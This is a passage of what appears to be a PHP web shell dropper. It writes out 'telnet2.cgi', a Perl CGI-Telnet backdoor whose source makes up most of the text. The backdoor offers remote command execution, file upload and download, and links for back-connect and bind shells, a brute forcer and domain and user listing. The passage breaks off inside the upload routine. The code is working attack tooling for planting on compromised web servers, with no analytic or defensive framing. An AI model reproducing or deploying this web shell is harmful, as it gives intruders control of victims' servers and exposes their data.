ZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7DQoNCg==';
    file_put_contents('telnet2.cgi', "#!/usr/bin/perl -I/usr/local/bandmin\r\nuse MIME::Base64;\r\n\$Version= \"CGI-Telnet Version 1.4\";\r\n\$EditPersion=\"SecurityBus\";\r\n\r\n\$Password = \"\";\t\t\t# Change this. You will need to enter this\r\n\t\t\t\t# to login.\r\nsub Is_Win(){\r\n\t\$os = &trim(\$ENV{\"SERVER_SOFTWARE\"});\r\n\tif(\$os =~ m/win/i){\r\n\t\treturn 1;\r\n\t}else{\r\n\t\treturn 0;\r\n\t}\r\n}\r\n\$WinNT = &Is_Win();\t\t\t# You need to change the value of this to 1 if\r\n\t\t\t\t\t# you're running this script on a Windows NT\r\n\t\t\t\t\t# machine. If you're running it on Unix, you\r\n\t\t\t\t\t# can leave the value as it is.\r\n\r\n\$NTCmdSep = \"&\";\t\t\t# This character is used to seperate 2 commands\r\n\t\t\t\t\t# in a command line on Windows NT.\r\n\r\n\$UnixCmdSep = \";\";\t\t\t# This character is used to seperate 2 commands\r\n\t\t\t\t\t# in a command line on Unix.\r\n\r\n\$CommandTimeoutDuration = 10;\t\t# Time in seconds after commands will be killed\r\n\t\t\t\t\t# Don't set this to a very large value. This is\r\n\t\t\t\t\t# useful for commands that may hang or that\r\n\t\t\t\t\t# take very long to execute, like \"find /\".\r\n\t\t\t\t\t# This is valid only on Unix servers. It is\r\n\t\t\t\t\t# ignored on NT Servers.\r\n\r\n\$ShowDynamicOutput = 1;\t\t\t# If this is 1, then data is sent to the\r\n\t\t\t\t\t# browser as soon as it is output, otherwise\r\n\t\t\t\t\t# it is buffered and send when the command\r\n\t\t\t\t\t# completes. This is useful for commands like\r\n\t\t\t\t\t# ping, so that you can see the output as it\r\n\t\t\t\t\t# is being generated.\r\n\r\n# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!\r\n\r\n\$CmdSep = (\$WinNT ? \$NTCmdSep : \$UnixCmdSep);\r\n\$CmdPwd = (\$WinNT ? \"cd\" : \"pwd\");\r\n\$PathSep = (\$WinNT ? \"\\\\\" : \"/\");\r\n\$Redirector = (\$WinNT ? \" 2>&1 1>&2\" : \" 1>&1 2>&1\");\r\n\$cols= 130;\r\n\$rows= 26;\r\n#------------------------------------------------------------------------------\r\n# Reads the input sent by the browser and parses the input variables. It\r\n# parses GET, POST and multipart/form-data that is used for uploading files.\r\n# The filename is stored in \$in{'f'} and the data is stored in \$in{'filedata'}.\r\n# Other variables can be accessed using \$in{'var'}, where var is the name of\r\n# the variable. Note: Most of the code in this function is taken from other CGI\r\n# scripts.\r\n#------------------------------------------------------------------------------\r\nsub ReadParse \r\n{\r\n\tlocal (*in) = @_ if @_;\r\n\tlocal (\$i, \$loc, \$key, \$val);\r\n\t\$MultipartFormData = \$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/;\r\n\tif(\$ENV{'REQUEST_METHOD'} eq \"GET\")\r\n\t{\r\n\t\t\$in = \$ENV{'QUERY_STRING'};\r\n\t}\r\n\telsif(\$ENV{'REQUEST_METHOD'} eq \"POST\")\r\n\t{\r\n\t\tbinmode(STDIN) if \$MultipartFormData & \$WinNT;\r\n\t\tread(STDIN, \$in, \$ENV{'CONTENT_LENGTH'});\r\n\t}\r\n\t# handle file upload data\r\n\tif(\$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/)\r\n\t{\r\n\t\t\$Boundary = '--'.\$1; # please refer to RFC1867 \r\n\t\t@list = split(/\$Boundary/, \$in); \r\n\t\t\$HeaderBody = \$list[1];\r\n\t\t\$HeaderBody =~ /\\r\\n\\r\\n|\\n\\n/;\r\n\t\t\$Header = \$`;\r\n\t\t\$Body = \$';\r\n \t\t\$Body =~ s/\\r\\n\$//; # the last \\r\\n was put in by Netscape\r\n\t\t\$in{'filedata'} = \$Body;\r\n\t\t\$Header =~ /filename=\\\"(.+)\\\"/; \r\n\t\t\$in{'f'} = \$1; \r\n\t\t\$in{'f'} =~ s/\\\"//g;\r\n\t\t\$in{'f'} =~ s/\\s//g;\r\n\r\n\t\t# parse trailer\r\n\t\tfor(\$i=2; \$list[\$i]; \$i++)\r\n\t\t{ \r\n\t\t\t\$list[\$i] =~ s/^.+name=\$//;\r\n\t\t\t\$list[\$i] =~ /\\\"(\\w+)\\\"/;\r\n\t\t\t\$key = \$1;\r\n\t\t\t\$val = \$';\r\n\t\t\t\$val =~ s/(^(\\r\\n\\r\\n|\\n\\n))|(\\r\\n\$|\\n\$)//g;\r\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\r\n\t\t\t\$in{\$key} = \$val; \r\n\t\t}\r\n\t}\r\n\telse # standard post data (url encoded, not multipart)\r\n\t{\r\n\t\t@in = split(/&/, \$in);\r\n\t\tforeach \$i (0 .. \$#in)\r\n\t\t{\r\n\t\t\t\$in[\$i] =~ s/\\+/ /g;\r\n\t\t\t(\$key, \$val) = split(/=/, \$in[\$i], 2);\r\n\t\t\t\$key =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\r\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\r\n\t\t\t\$in{\$key} .= \"\\0\" if (defined(\$in{\$key}));\r\n\t\t\t\$in{\$key} .= \$val;\r\n\t\t}\r\n\t}\r\n}\r\n#------------------------------------------------------------------------------\r\n# function EncodeDir: encode base64 Path\r\n#------------------------------------------------------------------------------\r\nsub EncodeDir\r\n{\r\n\tmy \$dir = shift;\r\n\t\$dir = trim(encode_base64(\$dir));\r\n\t\$dir =~ s/(\\r|\\n)//;\r\n\treturn \$dir;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML Page Header\r\n# Argument 1: Form item name to which focus should be set\r\n#------------------------------------------------------------------------------\r\nsub PrintPageHeader\r\n{\r\n\t\$EncodeCurrentDir = EncodeDir(\$CurrentDir);\r\n\tmy \$id = `id` if(!\$WinNT);\r\n\tmy \$info = `uname -s -n -r -i`;\r\n\tprint \"Content-type: text/html\\n\\n\";\r\n\tprint <<END;\r\n<html>\r\n<head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n<title>o---[ \$Version ]</title>\r\n\$HtmlMetaHeader\r\n</head>\r\n<style>\r\nbody{\r\nfont: 10pt Verdana;\r\ncolor: #fff;\r\n}\r\ntr,td,table,input,textarea {\r\nBORDER-RIGHT:  #3e3e3e 1px solid;\r\nBORDER-TOP:    #3e3e3e 1px solid;\r\nBORDER-LEFT:   #3e3e3e 1px solid;\r\nBORDER-BOTTOM: #3e3e3e 1px solid;\r\n}\r\n#domain tr:hover{\r\nbackground-color: #444;\r\n}\r\ntd {\r\ncolor: #2BA8EC;\r\n}\r\n.listdir td{\r\n\ttext-align: center;\r\n}\r\n.listdir th{\r\n\tcolor: #FF9900;\r\n}\r\n.dir,.file\r\n{\r\n\ttext-align: left !important;\r\n}\r\n.dir{\r\n\tfont-size: 10pt; \r\n\tfont-weight: bold;\r\n}\r\ntable {\r\nBACKGROUND-COLOR: #111;\r\n}\r\ninput {\r\nBACKGROUND-COLOR: Black;\r\ncolor: #ff9900;\r\n}\r\ninput.submit {\r\ntext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\r\ncolor: #FFFFFF;\r\nborder-color: #009900;\r\n}\r\ncode {\r\nborder: dashed 0px #333;\r\ncolor: while;\r\n}\r\nrun {\r\nborder\t\t\t: dashed 0px #333;\r\ncolor: #FF00AA;\r\n}\r\ntextarea {\r\nBACKGROUND-COLOR: #1b1b1b;\r\nfont: Fixedsys bold;\r\ncolor: #aaa;\r\n}\r\nA:link {\r\n\tCOLOR: #2BA8EC; TEXT-DECORATION: none\r\n}\r\nA:visited {\r\n\tCOLOR: #2BA8EC; TEXT-DECORATION: none\r\n}\r\nA:hover {\r\n\ttext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\r\n\tcolor: #FFFFFF; TEXT-DECORATION: none\r\n}\r\nA:active {\r\n\tcolor: Red; TEXT-DECORATION: none\r\n}\r\n.listdir tr:hover{\r\n\tbackground: #444;\r\n}\r\n.listdir tr:hover td{\r\n\tbackground: #444;\r\n\ttext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\r\n\tcolor: #FFFFFF; TEXT-DECORATION: none;\r\n}\r\n.notline{\r\n\tbackground: #111;\r\n}\r\n.line{\r\n\tbackground: #222;\r\n}\r\n</style>\r\n<script language=\"javascript\">\r\nfunction Encoder(name)\r\n{\r\n\tvar e =  document.getElementById(name);\r\n\te.value = btoa(e.value);\r\n\treturn true;\r\n}\r\nfunction chmod_form(i,file)\r\n{\r\n\tdocument.getElementById(\"FilePerms_\"+i).innerHTML=\"<form name=FormPerms_\" + i+ \" action='' method='POST'><input id=text_\" + i + \"  name=chmod type=text size=5 /><input type=submit class='submit' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='\$EncodeCurrentDir'><input type=hidden name=f value='\"+file+\"'></form>\";\r\n\tdocument.getElementById(\"text_\" + i).focus();\r\n}\r\nfunction rm_chmod_form(response,i,perms,file)\r\n{\r\n\tresponse.innerHTML = \"<span onclick=\\\\\\\"chmod_form(\" + i + \",'\"+ file+ \"')\\\\\\\" >\"+ perms +\"</span></td>\";\r\n}\r\nfunction rename_form(i,file,f)\r\n{\r\n\tf.replace(/\\\\\\\\/g,\"\\\\\\\\\\\\\\\\\");\r\n\tvar back=\"rm_rename_form(\"+i+\",\\\\\\\"\"+file+\"\\\\\\\",\\\\\\\"\"+f+\"\\\\\\\"); return false;\";\r\n\tdocument.getElementById(\"File_\"+i).innerHTML=\"<form name=FormPerms_\" + i+ \" action='' method='POST'><input id=text_\" + i + \"  name=rename type=text value= '\"+file+\"' /><input type=submit class='submit' value=OK><input type=submit class='submit' onclick='\" + back + \"' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='\$EncodeCurrentDir'><input type=hidden name=f value='\"+file+\"'></form>\";\r\n\tdocument.getElementById(\"text_\" + i).focus();\r\n}\r\nfunction rm_rename_form(i,file,f)\r\n{\r\n\tif(f=='f')\r\n\t{\r\n\t\tdocument.getElementById(\"File_\"+i).innerHTML=\"<a href='?a=command&d=\$EncodeCurrentDir&c=edit%20\"+file+\"%20'>\" +file+ \"</a>\";\r\n\t}else\r\n\t{\r\n\t\tdocument.getElementById(\"File_\"+i).innerHTML=\"<a href='?a=gui&d=\"+f+\"'>[ \" +file+ \" ]</a>\";\r\n\t}\r\n}\r\n</script>\r\n<body onLoad=\"document.f.@_.focus()\" bgcolor=\"#0c0c0c\" topmargin=\"0\" leftmargin=\"0\" marginwidth=\"0\" marginheight=\"0\">\r\n<center><code>\r\n<table border=\"1\" width=\"100%\" cellspacing=\"0\" cellpadding=\"2\">\r\n<tr>\r\n\t<td align=\"center\" rowspan=3>\r\n\t\t<b><font size=\"3\">o---[  \$EditPersion ]---o</font></b>\r\n\t</td>\r\n\t<td>\r\n\t\t\$info\r\n\t</td>\r\n\t<td>Server IP:<font color=\"#ff9900\"> \$ENV{'SERVER_ADDR'}</font> | Your IP: <font color=\"#ff9900\">\$ENV{'REMOTE_ADDR'}</font>\r\n\t</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\">\r\n<a href=\"\$ScriptLocation\">Home</a> | \r\n<a href=\"\$ScriptLocation?a=command&d=\$EncodeCurrentDir\">Command</a> |\r\n<a href=\"\$ScriptLocation?a=gui&d=\$EncodeCurrentDir\">GUI</a> | \r\n<a href=\"\$ScriptLocation?a=upload&d=\$EncodeCurrentDir\">Upload File</a> | \r\n<a href=\"\$ScriptLocation?a=download&d=\$EncodeCurrentDir\">Download File</a> |\r\n<a href=\"\$ScriptLocation?a=backbind\">Back & Bind</a> |\r\n<a href=\"\$ScriptLocation?a=bruteforcer\">Brute Forcer</a> |\r\n<a href=\"\$ScriptLocation?a=checklog\">Check Log</a> |\r\n<a href=\"\$ScriptLocation?a=domainsuser\">Domains/Users</a> |\r\n<a href=\"\$ScriptLocation?a=logout\">Logout</a> |\r\n<a target='_blank' href=\"#\">Help</a>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\">\r\n\$id\r\n</td>\r\n</tr>\r\n</table>\r\n<font id=\"ResponseData\" color=\"#FFFFFF\" >\r\nEND\r\n}\r\n#------------------------------------------------------------------------------\r\n# Prints the Login Screen\r\n#------------------------------------------------------------------------------\r\nsub PrintLoginScreen\r\n{\r\n\tprint <<END;\r\n<pre><script type=\"text/javascript\">\r\nTypingText = function(element, interval, cursor, finishedCallback) {\r\n  if((typeof document.getElementById == \"undefined\") || (typeof element.innerHTML == \"undefined\")) {\r\n    this.running = true;\t// Never run.\r\n    return;\r\n  }\r\n  this.element = element;\r\n  this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });\r\n  this.interval = (typeof interval == \"undefined\" ? 100 : interval);\r\n  this.origText = this.element.innerHTML;\r\n  this.unparsedOrigText = this.origText;\r\n  this.cursor = (cursor ? cursor : \"\");\r\n  this.currentText = \"\";\r\n  this.currentChar = 0;\r\n  this.element.typingText = this;\r\n  if(this.element.id == \"\") this.element.id = \"typingtext\" + TypingText.currentIndex++;\r\n  TypingText.all.push(this);\r\n  this.running = false;\r\n  this.inTag = false;\r\n  this.tagBuffer = \"\";\r\n  this.inHTMLEntity = false;\r\n  this.HTMLEntityBuffer = \"\";\r\n}\r\nTypingText.all = new Array();\r\nTypingText.currentIndex = 0;\r\nTypingText.runAll = function() {\r\n  for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();\r\n}\r\nTypingText.prototype.run = function() {\r\n  if(this.running) return;\r\n  if(typeof this.origText == \"undefined\") {\r\n    setTimeout(\"document.getElementById('\" + this.element.id + \"').typingText.run()\", this.interval);\t// We haven't finished loading yet.  Have patience.\r\n    return;\r\n  }\r\n  if(this.currentText == \"\") this.element.innerHTML = \"\";\r\n//  this.origText = this.origText.replace(/<([^<])*>/, \"\");     // Strip HTML from text.\r\n  if(this.currentChar < this.origText.length) {\r\n    if(this.origText.charAt(this.currentChar) == \"<\" && !this.inTag) {\r\n      this.tagBuffer = \"<\";\r\n      this.inTag = true;\r\n      this.currentChar++;\r\n      this.run();\r\n      return;\r\n    } else if(this.origText.charAt(this.currentChar) == \">\" && this.inTag) {\r\n      this.tagBuffer += \">\";\r\n      this.inTag = false;\r\n      this.currentText += this.tagBuffer;\r\n      this.currentChar++;\r\n      this.run();\r\n      return;\r\n    } else if(this.inTag) {\r\n      this.tagBuffer += this.origText.charAt(this.currentChar);\r\n      this.currentChar++;\r\n      this.run();\r\n      return;\r\n    } else if(this.origText.charAt(this.currentChar) == \"&\" && !this.inHTMLEntity) {\r\n      this.HTMLEntityBuffer = \"&\";\r\n      this.inHTMLEntity = true;\r\n      this.currentChar++;\r\n      this.run();\r\n      return;\r\n    } else if(this.origText.charAt(this.currentChar) == \";\" && this.inHTMLEntity) {\r\n      this.HTMLEntityBuffer += \";\";\r\n      this.inHTMLEntity = false;\r\n      this.currentText += this.HTMLEntityBuffer;\r\n      this.currentChar++;\r\n      this.run();\r\n      return;\r\n    } else if(this.inHTMLEntity) {\r\n      this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);\r\n      this.currentChar++;\r\n      this.run();\r\n      return;\r\n    } else {\r\n      this.currentText += this.origText.charAt(this.currentChar);\r\n    }\r\n    this.element.innerHTML = this.currentText;\r\n    this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == \"function\" ? this.cursor(this.currentText) : this.cursor) : \"\");\r\n    this.currentChar++;\r\n    setTimeout(\"document.getElementById('\" + this.element.id + \"').typingText.run()\", this.interval);\r\n  } else {\r\n\tthis.currentText = \"\";\r\n\tthis.currentChar = 0;\r\n        this.running = false;\r\n        this.finishedCallback();\r\n  }\r\n}\r\n</script>\r\n</pre>\r\n\r\n<br>\r\n\r\n<script type=\"text/javascript\">\r\nnew TypingText(document.getElementById(\"hack\"), 30, function(i){ var ar = new Array(\"_\",\"\"); return \" \" + ar[i.length % ar.length]; });\r\nTypingText.runAll();\r\n\r\n</script>\r\nEND\r\n}\r\n#------------------------------------------------------------------------------\r\n# encode html special chars\r\n#------------------------------------------------------------------------------\r\nsub UrlEncode(\$){\r\n\tmy \$str = shift;\r\n\t\$str =~ s/([^A-Za-z0-9])/sprintf(\"%%%02X\", ord(\$1))/seg;\r\n\treturn \$str;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Add html special chars\r\n#------------------------------------------------------------------------------\r\nsub HtmlSpecialChars(\$){\r\n\tmy \$text = shift;\r\n\t\$text =~ s/&/&amp;/g;\r\n\t\$text =~ s/\"/&quot;/g;\r\n\t\$text =~ s/'/&#039;/g;\r\n\t\$text =~ s/</&lt;/g;\r\n\t\$text =~ s/>/&gt;/g;\r\n\treturn \$text;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Add link for directory\r\n#------------------------------------------------------------------------------\r\nsub AddLinkDir(\$)\r\n{\r\n\tmy \$ac=shift;\r\n\tmy @dir=();\r\n\tif(\$WinNT)\r\n\t{\r\n\t\t@dir=split(/\\\\/,\$CurrentDir);\r\n\t}else\r\n\t{\r\n\t\t@dir=split(\"/\",&trim(\$CurrentDir));\r\n\t}\r\n\tmy \$path=\"\";\r\n\tmy \$result=\"\";\r\n\tforeach (@dir)\r\n\t{\r\n\t\t\$path .= \$_.\$PathSep;\r\n\t\t\$result.=\"<a href='?a=\".\$ac.\"&d=\".encode_base64(\$path).\"'>\".\$_.\$PathSep.\"</a>\";\r\n\t}\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Prints the message that informs the user of a failed login\r\n#------------------------------------------------------------------------------\r\nsub PrintLoginFailedMessage\r\n{\r\n\tprint <<END;\r\n\r\n\r\nPassword:<br>\r\nLogin incorrect<br><br>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML form for logging in\r\n#------------------------------------------------------------------------------\r\nsub PrintLoginForm\r\n{\r\n\tprint <<END;\r\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n<input type=\"hidden\" name=\"a\" value=\"login\">\r\nLogin : Administrator<br>\r\nPassword:<input type=\"password\" name=\"p\">\r\n<input class=\"submit\" type=\"submit\" value=\"Enter\">\r\n</form>\r\nEND\r\n}\r\n#------------------------------------------------------------------------------\r\n# Prints the footer for the HTML Page\r\n#------------------------------------------------------------------------------\r\nsub PrintPageFooter\r\n{\r\n\tprint \"<br><font color=red>o---[  <font color=#ff9900>Edit by \$EditPersion </font>  ]---o</font></code></center></body></html>\";\r\n}\r\n#------------------------------------------------------------------------------\r\n# Retreives the values of all cookies. The cookies can be accesses using the\r\n# variable \$Cookies{''}\r\n#------------------------------------------------------------------------------\r\nsub GetCookies\r\n{\r\n\t@httpcookies = split(/; /,\$ENV{'HTTP_COOKIE'});\r\n\tforeach \$cookie(@httpcookies)\r\n\t{\r\n\t\t(\$id, \$val) = split(/=/, \$cookie);\r\n\t\t\$Cookies{\$id} = \$val;\r\n\t}\r\n}\r\n#------------------------------------------------------------------------------\r\n# Prints the screen when the user logs out\r\n#------------------------------------------------------------------------------\r\nsub PrintLogoutScreen\r\n{\r\n\tprint \"Connection closed by foreign host.<br><br>\";\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Logs out the user and allows the user to login again\r\n#------------------------------------------------------------------------------\r\nsub PerformLogout\r\n{\r\n\tprint \"Set-Cookie: SAVEDPWD=;\\n\"; # remove password cookie\r\n\t&PrintPageHeader(\"p\");\r\n\t&PrintLogoutScreen;\r\n\r\n\t&PrintLoginScreen;\r\n\t&PrintLoginForm;\r\n\t&PrintPageFooter;\r\n\texit;\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called to login the user. If the password matches, it\r\n# displays a page that allows the user to run commands. If the password doens't\r\n# match or if no password is entered, it displays a form that allows the user\r\n# to login\r\n#------------------------------------------------------------------------------\r\nsub PerformLogin \r\n{\r\n\tif(\$LoginPassword eq \$Password) # password matched\r\n\t{\r\n\t\tprint \"Set-Cookie: SAVEDPWD=\$LoginPassword;\\n\";\r\n\t\t&PrintPageHeader;\r\n\t\tprint &ListDir;\r\n\t}\r\n\telse # password didn't match\r\n\t{\r\n\t\t&PrintPageHeader(\"p\");\r\n\t\t&PrintLoginScreen;\r\n\t\tif(\$LoginPassword ne \"\") # some password was entered\r\n\t\t{\r\n\t\t\t&PrintLoginFailedMessage;\r\n\r\n\t\t}\r\n\t\t&PrintLoginForm;\r\n\t\t&PrintPageFooter;\r\n\t\texit;\r\n\t}\r\n}\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML form that allows the user to enter commands\r\n#------------------------------------------------------------------------------\r\nsub PrintCommandLineInputForm\r\n{\r\n\t\$EncodeCurrentDir = EncodeDir(\$CurrentDir);\r\n\tmy \$dir= \"<span style='font: 11pt Verdana; font-weight: bold;'>\".&AddLinkDir(\"command\").\"</span>\";\r\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"<font color='#FFFFFF'>[admin\\@\$ServerName \$dir]\\\$</font> \";\r\n\treturn <<END;\r\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\" onSubmit=\"Encoder('c')\">\r\n\r\n<input type=\"hidden\" name=\"a\" value=\"command\">\r\n\r\n<input type=\"hidden\" name=\"d\" value=\"\$EncodeCurrentDir\">\r\n\$Prompt\r\n<input type=\"text\" size=\"40\" name=\"c\" id=\"c\">\r\n<input class=\"submit\" type=\"submit\" value=\"Enter\">\r\n</form>\r\nEND\r\n}\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML form that allows the user to download files\r\n#------------------------------------------------------------------------------\r\nsub PrintFileDownloadForm\r\n{\r\n\t\$EncodeCurrentDir = EncodeDir(\$CurrentDir);\r\n\tmy \$dir = &AddLinkDir(\"download\"); \r\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"[admin\\@\$ServerName \$dir]\\\$ \";\r\n\treturn <<END;\r\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n<input type=\"hidden\" name=\"d\" value=\"\$EncodeCurrentDir\">\r\n<input type=\"hidden\" name=\"a\" value=\"download\">\r\n\$Prompt download<br><br>\r\nFilename: <input class=\"file\" type=\"text\" name=\"f\" size=\"35\"><br><br>\r\nDownload: <input class=\"submit\" type=\"submit\" value=\"Begin\">\r\n\r\n</form>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML form that allows the user to upload files\r\n#------------------------------------------------------------------------------\r\nsub PrintFileUploadForm\r\n{\r\n\t\$EncodeCurrentDir = EncodeDir(\$CurrentDir);\r\n\tmy \$dir= &AddLinkDir(\"upload\");\r\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"[admin\\@\$ServerName \$dir]\\\$ \";\r\n\treturn <<END;\r\n<form name=\"f\" enctype=\"multipart/form-data\" method=\"POST\" action=\"\$ScriptLocation\">\r\n\$Prompt upload<br><br>\r\nFilename: <input class=\"file\" type=\"file\" name=\"f\" size=\"35\"><br><br>\r\nOptions: &nbsp;<input type=\"checkbox\" name=\"o\" id=\"up\" value=\"overwrite\">\r\n<label for=\"up\">Overwrite if it Exists</label><br><br>\r\nUpload:&nbsp;&nbsp;&nbsp;<input class=\"submit\" type=\"submit\" value=\"Begin\">\r\n<input type=\"hidden\" name=\"d\" value=\"\$EncodeCurrentDir\">\r\n<input class=\"submit\" type=\"hidden\" name=\"a\" value=\"upload\">\r\n</form>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called when the timeout for a command expires. We need to\r\n# terminate the script immediately. This function is valid only on Unix. It is\r\n# never called when the script is running on NT.\r\n#------------------------------------------------------------------------------\r\nsub CommandTimeout\r\n{\r\n\tif(!\$WinNT)\r\n\t{\r\n\t\talarm(0);\r\n\t\treturn <<END;\r\n</textarea>\r\n<br><font color=yellow>\r\nCommand exceeded maximum time of \$CommandTimeoutDuration second(s).</font>\r\n<br><font size='6' color=red>Killed it!</font>\r\nEND\r\n\t}\r\n}\r\n#------------------------------------------------------------------------------\r\n# This function displays the page that contains a link which allows the user\r\n# to download the specified file. The page also contains a auto-refresh\r\n# feature that starts the download automatically.\r\n# Argument 1: Fully qualified filename of the file to be downloaded\r\n#------------------------------------------------------------------------------\r\nsub PrintDownloadLinkPage\r\n{\r\n\tlocal(\$FileUrl) = @_;\r\n\tmy \$result=\"\";\r\n\tif(-e \$FileUrl) # if the file exists\r\n\t{\r\n\t\t# encode the file link so we can send it to the browser\r\n\t\t\$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\r\n\t\t\$DownloadLink = \"\$ScriptLocation?a=download&f=\$FileUrl&o=go\";\r\n\t\t\$HtmlMetaHeader = \"<meta HTTP-EQUIV=\\\"Refresh\\\" CONTENT=\\\"1; URL=\$DownloadLink\\\">\";\r\n\t\t&PrintPageHeader(\"c\");\r\n\t\t\$result .= <<END;\r\nSending File \$TransferFile...<br>\r\n\r\nIf the download does not start automatically,\r\n<a href=\"\$DownloadLink\">Click Here</a>\r\nEND\r\n\t\t\$result .= &PrintCommandLineInputForm;\r\n\t}\r\n\telse # file doesn't exist\r\n\t{\r\n\t\t\$result .= \"Failed to download \$FileUrl: \$!\";\r\n\t\t\$result .= &PrintFileDownloadForm;\r\n\t}\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# This function reads the specified file from the disk and sends it to the\r\n# browser, so that it can be downloaded by the user.\r\n# Argument 1: Fully qualified pathname of the file to be sent.\r\n#------------------------------------------------------------------------------\r\nsub SendFileToBrowser\r\n{\r\n\tmy \$result = \"\";\r\n\tlocal(\$SendFile) = @_;\r\n\tif(open(SENDFILE, \$SendFile)) # file opened for reading\r\n\t{\r\n\t\tif(\$WinNT)\r\n\t\t{\r\n\t\t\tbinmode(SENDFILE);\r\n\t\t\tbinmode(STDOUT);\r\n\t\t}\r\n\t\t\$FileSize = (stat(\$SendFile))[7];\r\n\t\t(\$Filename = \$SendFile) =~  m!([^/^\\\\]*)\$!;\r\n\t\tprint \"Content-Type: application/x-unknown\\n\";\r\n\t\tprint \"Content-Length: \$FileSize\\n\";\r\n\t\tprint \"Content-Disposition: attachment; filename=\$1\\n\\n\";\r\n\t\tprint while(<SENDFILE>);\r\n\t\tclose(SENDFILE);\r\n\t\texit(1);\r\n\t}\r\n\telse # failed to open file\r\n\t{\r\n\t\t\$result .= \"Failed to download \$SendFile: \$!\";\r\n\t\t\$result .=&PrintFileDownloadForm;\r\n\t}\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# This function is called when the user downloads a file. It displays a message\r\n# to the user and provides a link through which the file can be downloaded.\r\n# This function is also called when the user clicks on that link. In this case,\r\n# the file is read and sent to the browser.\r\n#------------------------------------------------------------------------------\r\nsub BeginDownload\r\n{\r\n\t\$EncodeCurrentDir = EncodeDir(\$CurrentDir);\r\n\t# get fully qualified path of the file to be downloaded\r\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) |\r\n\t\t(!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\r\n\t{\r\n\t\t\$TargetFile = \$TransferFile;\r\n\t}\r\n\telse # path is relative\r\n\t{\r\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\r\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\r\n\t}\r\n\r\n\tif(\$Options eq \"go\") # we have to send the file\r\n\t{\r\n\t\t&SendFileToBrowser(\$TargetFile);\r\n\t}\r\n\telse # we have to send only the link page\r\n\t{\r\n\t\t&PrintDownloadLinkPage(\$TargetFile);\r\n\t}\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called when the user wants to upload a file. If the\r\n# file is not specified, it displays a form allowing the user to specify a\r\n# file, otherwise it starts the upload process.\r\n#------------------------------------------------------------------------------\r\nsub UploadFile\r\n{\r\n\t# if no file is specified, print the upload form again\r\n\tif(\$TransferFile eq \"\")\r\n\t{\r\n\t\treturn &PrintFileUploadForm;\r\n\r\n\t}\r\n\tmy \$result=\"\";\r\n\t# start the uploading process\r\n\t\$result .= \"Uploading \$TransferFile to \$CurrentDir...<br>\";\r\n\r\n\t# get the fullly qualified pathname of the file to be created\r\n\tchop(\$TargetName) if (\$TargetName = \$CurrentDir) =~ m/[\\\\\\/]\$/;\r\n\t\$TransferFile =~ m!([^/^\\\\]*)\$!;\r\n\t\$TargetName .= \$PathSep.\$1;\r\n\r\n\t\$TargetFileSize = length(\$in{'filedata'});\r\n\t# if the file exists and we are not supposed to overwrite it\r\n\tif(-e \$TargetName && \$Options ne \"overwrite\")\r\n\t{\r\n\t\t\$result .= \"Failed: Destination file already 